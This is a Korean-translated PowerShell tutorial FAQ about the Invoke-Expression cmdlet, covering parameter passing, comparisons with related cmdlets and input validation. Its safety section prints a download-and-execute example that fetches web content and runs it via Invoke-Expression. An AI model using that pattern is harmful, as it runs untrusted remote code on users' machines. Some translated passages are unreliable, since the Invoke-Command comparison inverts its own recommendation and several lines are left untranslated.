Invoke-Expression: 장단점 및 모범 사례

Invoke-Expression PowerShell cmdlet은 언제 사용하고 언제 사용하지 않아야 하는지 쉽게 오해할 수 있습니다. 이 기사에서는 주요 FAQ 목록을 제공하고 있습니다. 이를 자세히 설명하고, 필요할 때마다 참고할 수 있는 많은 유용한 예제를 포함했습니다. 그러므로 지금이라도 이 페이지를 즐겨찾기에 추가해야 합니다!

이와 비슷한 팁을 더 알고 싶다면, 제 개인 PowerShell 블로그를 확인하세요.: https://www.nkasco.com/

Invoke-Expression이란 무엇인가요?

Microsoft의 공식 설명에 따르면 “Invoke-Expression cmdlet은 지정된 문자열을 명령으로 평가하거나 실행하고, 식 또는 명령의 결과를 반환합니다. Invoke-Expression을 사용하지 않으면 명령 줄에서 제출된 문자열이 변경되지 않고 반환됩니다.”

간단히 말해, 이는 스크립트 내에서 코드를 호출하거나 나중에 실행될 명령을 작성하는 데 유용할 수 있습니다. 또한 사용자가 제공한 입력과 조심스럽게 조합하여 사용할 수도 있습니다.

Invoke-Expression을 사용하는 가장 기본적인 예는 스크립트를 정의하고 해당 문자열을 Command 매개변수에 전달하는 것입니다. 그럼 Invoke-Expression이 해당 문자열을 실행합니다.

#Invoke-Expression을 통해 PowerShell 명령 실행하기
$Command = 'Get-Process'
Invoke-Expression -Command $Command

#Invoke-Expression을 통해 스크립트 실행하기
$MyScript = '.\MyScript.ps1'
Invoke-Expression -Command $MyScript

만약 스크립트 경로에 공백이 있는 경우 어떻게 해야 할까요?

문자열을 작은따옴표나 큰따옴표로 감싸야 합니다.

예를 들어, 경로에 공백이 있는 문자열을 실행하려면 다음 옵션은 작동하지 않습니다:

# 다음은 작동하지 않습니다
$MyScript = "C:\Folder Path\MyScript.ps1"
#또는
$MyScript = "'C:\Folder Path\MyScript.ps1'"
Invoke-Expression $MyScript

왜냐하면 이것은 PowerShell 콘솔에 직접 입력하는 것과 정확히 같기 때문입니다:

PS51> C:\Folder Path\MyScript.ps1

하지만, 경로 항목을 작은따옴표나 큰따옴표로 감싸고 전체 문자열을 따옴표로 감싸면, Invoke-Expression은 스크립트를 예상대로 실행할 것입니다.

$MyScript = "C:\'Folder Path'\MyScript.ps1"
Invoke-Expression $MyScript

Q. How do you pass parameters to scripts invoked with Invoke-Expression?

Invoke-Expression에는 Command라는 유일한 매개변수가 있습니다. Invoke-Expression을 사용하여 매개변수를 전달하는 기본적인 방법은 없습니다. 그러나 대신 Command 매개변수에 전달하는 문자열에 포함시킬 수 있습니다.

아마도 PathForce라는 두 개의 매개변수를 가진 스크립트가 있다고 가정해보겠습니다. Invoke-Expression을 사용하여 특정 매개변수를 사용하는 대신, 일반적으로 콘솔을 통해 매개변수를 전달하는 방식으로 그 스크립트에 매개변수를 전달할 수 있습니다.

일반적으로 콘솔을 통해 다음과 같이 스크립트를 호출한다면:

PS51> & 'C:\Scripts\MyScript.ps1' -Path 'C:\file.txt' -Force

그 전체 줄을 문자열로 포함시키고 해당 문자열을 Command 매개변수에 전달해야 합니다.

$scriptPath = 'C:\Scripts\MyScript.ps1'
$params = '-Path "C:\file.txt" -Force'
Invoke-Expression "$scriptPath $params"
# 또는
$string = 'C:\Scripts\MyScript.ps1 -Path "C:\file.txt" -Force'
Invoke-Expression $string

Invoke-Expression과 함께 try/catch를 사용하는 것은 의미가 있을까요?

사실 그렇지 않습니다. 이는 Command 매개변수 내에서 오류 처리를 해야 한다는 것을 의미합니다.

예시:

# 작동하지 않음 - Invoke-Expression은 전역 오류 처리기로 작동하지 않습니다!
try{
    $Command = 'Get-Process powerhell'
    Invoke-Expression $Command -ErrorAction Stop
} catch {
    Write-Host "Oops, something went wrong!"
}

Invoke-Expression과 호출 연산자(&)의 차이점은 무엇인가요?

호출 연산자(&)는 명령, 스크립트 또는 스크립트 블록을 빠르게 실행하는 데 유용합니다. 그러나 호출 연산자는 명령을 구문 분석하지 않습니다. Invoke-Expression이 수행할 수 있는 명령 매개변수를 해석할 수 없습니다.

예를 들어, Get-Process cmdlet을 사용하여 PowerShell Core 프로세스를 가져오고 싶다고 가정해 보겠습니다. Get-Process -ProcessName pwsh 코드를 사용하여 매개변수를 연결하는 것은 호출 연산자를 사용할 때 예상대로 작동하지 않을 것입니다.

$a = "Get-Process"

## 작동하지 않음
& "$a pwsh"

하지만 이 문자열을 Invoke-Expression으로 실행하면 예상대로 작동합니다.

Invoke-Expression "$a pwsh"

Invoke-Expression과 Start-Process의 차이점은 무엇인가요?

Start-Process cmdlet은 반환 또는 종료 코드를 반환하는 개체를 제공합니다. 호출된 프로세스가 완료될 때까지 대기하고 다른 Windows 자격 증명으로 프로세스를 시작할 수 있습니다. Invoke-Expression은 빠르고 쉽지만, 실행된 프로세스의 결과를 해석하는 데 더 유용한 Start-Process를 사용할 수 있습니다.

Invoke-ExpressionInvoke-Command의 차이점은 무엇인가요?

Invoke-Expression은 문자열을 실행 가능한 코드로 변환하는 것에만 사용됩니다. Invoke-CommandPowerShell Remoting을 활용하여 로컬 또는 원격 컴퓨터에서 코드를 실행할 수 있는 기능을 제공합니다.

Invoke-Command는 현재 작성 중인 명령을 유지하기 위해 IDE에서 인텔리센스를 사용할 수 있으므로, 실행 중인 스크립트에서 다른 스크립트를 호출하려는 경우에는 Invoke-Expression을 사용하는 것이 좋습니다.

예시:

#이 두 가지 방법은 동일하게 작동하지만, Invoke-Expression 예제에서는 인텔리센스를 잃어버렸습니다.
Invoke-Command -ScriptBlock {
    Get-Process Chrome
    Get-Process Powershell
}

Invoke-Expression -Command "
Get-Process Chrome
Get-Process Powershell
"

Invoke-ExpressionInvoke-Item의 차이점은 무엇인가요?

Invoke-Item cmdlet은 기본 동작을 사용하여 여러 경로로 문서를 열기 위한 인라인 지원을 제공하며, 포함, 제외, 자격 증명 추가 및 추가적인 보안을 위한 확인과 같은 매개변수를 사용할 수 있습니다.

Invoke-Expression은 안전한가요?

A. If someone had malicious intent they might be able to trick some virus programs by masking malicious code that constructs itself during runtime. Invoke-Expression will happily execute whatever text is passed to it’s Command parameter.

예시:

$Command = "(Invoke-Webrequest -Uri `"http://website.com/CompletelySafeCode`").Content"
Invoke-Expression $Command

여러 명령/표현식을 실행하기 위한 몇 가지 모범 사례는 무엇인가요?

여러 명령을 실행해야 할 경우, Invoke-Expression은 배열이 아닌 문자열만 허용하지만, PowerShell 파이프라인을 사용하여 개별적으로 객체를 파이프라인으로 전송할 수 있습니다.

예시:

# 작동하지 않음
$MyCollection = @(
    'Get-Process Chrome',
    'Get-Service bits'
)
Invoke-Expression $MyCollection

# 작동함
'Get-Process Chrome', 'Get-Service bits' | Invoke-Expression

Invoke-Expression을 사용하여 사용자 입력을 어떻게 사용하나요?

사용자 입력과 함께 Invoke-Expression을 사용할 때 매우 주의해야 합니다. 사용자에게 명령을 실행하고자 하는 의도와 다른 방식으로 프롬프트를 제공하는 경우, 원치 않는 취약점을 만들 수 있습니다. 다음은 Invoke-Expression을 안전하게 사용하는 한 가지 방법입니다.

do{
    $Response = Read-Host "Please enter a process name"
    $RunningProcesses = Get-Process

    #여기서 사용자 입력 유효성을 검사하세요
    if($Response -notin $RunningProcesses.Name){
        Write-Host "That process wasn't found, please try again.`n" #여기에서 $Response를 사용하지 마세요
    }
} until ($Response -in $RunningProcesses.Name)

$Command = "Get-Process $Response"
Invoke-Expression $Command

결론

모든 cmdlet은 각자의 장소가 있으며, Invoke-Expression도 한 번쯤은 모두가 마주치게 되는 것입니다. 자주 사용되는 cmdlet의 장단점을 이해하여 성공을 위한 방식으로 구현하는 것이 중요합니다. 여러분이 어떻게 Invoke-Expression을 사용하여 여러분의 도전을 해결했는지 궁금합니다. 아래에 댓글을 남겨 이야기를 공유해주세요!

이와 같은 팁을 더 받고 싶으신가요? 제 개인 PowerShell 블로그를 확인해보세요: https://www.nkasco.com/

더 읽어보기

Source:
https://adamtheautomator.com/invoke-expression/